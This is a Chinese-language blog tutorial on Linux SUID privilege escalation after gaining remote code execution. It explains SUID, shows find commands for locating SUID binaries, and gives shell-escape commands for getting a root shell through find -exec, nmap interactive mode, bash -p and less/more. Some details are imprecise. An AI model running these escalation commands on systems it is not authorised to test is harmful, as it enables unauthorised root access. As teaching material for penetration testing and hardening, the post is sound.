SUID提权

  1. 前提
  2. 1、什么是SUID
  3. 2、搜索具备SUID的程序
  4. 3、利用方式
    1. (1)find
    2. (2)Nmap
    3. (3)Vim
    4. (4)Bash
    5. (5)more与less
  5. 4、参考链接

前提

一般rce之后访问服务器的权限都是普通用户,要想获取管理员的权限就需要提权,而suid提权就是其中一种比较常见的提权方式,见过几次,这里浅研究一下

1、什么是SUID

首先我们都知道Linux中 /etc/shadow中存放的是用户的账号密码,但是shadow这个目录所属为root,所以说其余用户没有修改的权限的。但是身为普通用户却能修改自己的账号密码,进而修改shadow当中的内容。 这个原因就是SUIDimage-20220910164855571

SUID(set UID)是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限。就是说当你执行passwd命令时,它就相当拥有root权限,此时就能修改shadow文件的里面。而二进制程序是否存在suid权限,看最前面是否存在-s参数

image-20220910142352472

而添加添加suid权限的方法为

chmod u+s 命令

2、搜索具备SUID的程序

以下语句能搜索哪些具备SUID的程序

find / -perm -u=s -type f 2>/dev/null
  • -perm:按照文件权限的类型进行查找,-u=s,查找带有s权限的文件
  • type f:按照文件来查找
  • 2>/dev/null:把错误的输出到“黑洞”,就是不会显示到屏幕上
find / -user root -perm -4000 -exec ls -ldb {} ;
  • -perm -4000,查看文件为4000(表示拥有suid权限)权限的文件
  • -exec ls: 表示将查到的文件列出来,列出的方式是
  • -ldb :l表示以列表的形式,-d表示仅列出目录本身,而不列出目录内的文件数据
  • {}:花括号代表前面find查找出来的文件名

3、利用方式

常见的提权文件有:Nmap、Vim、find、Bash、More、less、Nano、cp、

(1)find

因为find命令中有参数-exec,它能重新执行参数后面的命令,这样就可以以root的权限执行该命令

find /flag -exec whoami \;

image-20220911213529314

find /flag -exec /bin/bash -p \;

image-20220911213700243

(2)Nmap

nmap在早期的版本中,带有交互模式,允许用户执行shell命令

使用如下命令进入nmap交互模式:

nmap --interactive

在nmap交互模式中 通过如下命令提权

nmap> !sh

(3)Vim

vim如果具有suid权限,那么就可以之前读取文件内容了

(4)Bash

bash -p直接进入root权限

(5)more与less

more与less类似,利用命令进入shell

less /etc/passwd

#在less中输入:

!/bin/sh

z注意:使用more和less时一定要读取一个比较大的文件

4、参考链接

1、http://www.hackdig.com/05/hack-351745.htm

2、https://blog.csdn.net/weixin_39430198/article/details/123504153


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com

×

喜欢就点赞,疼爱就打赏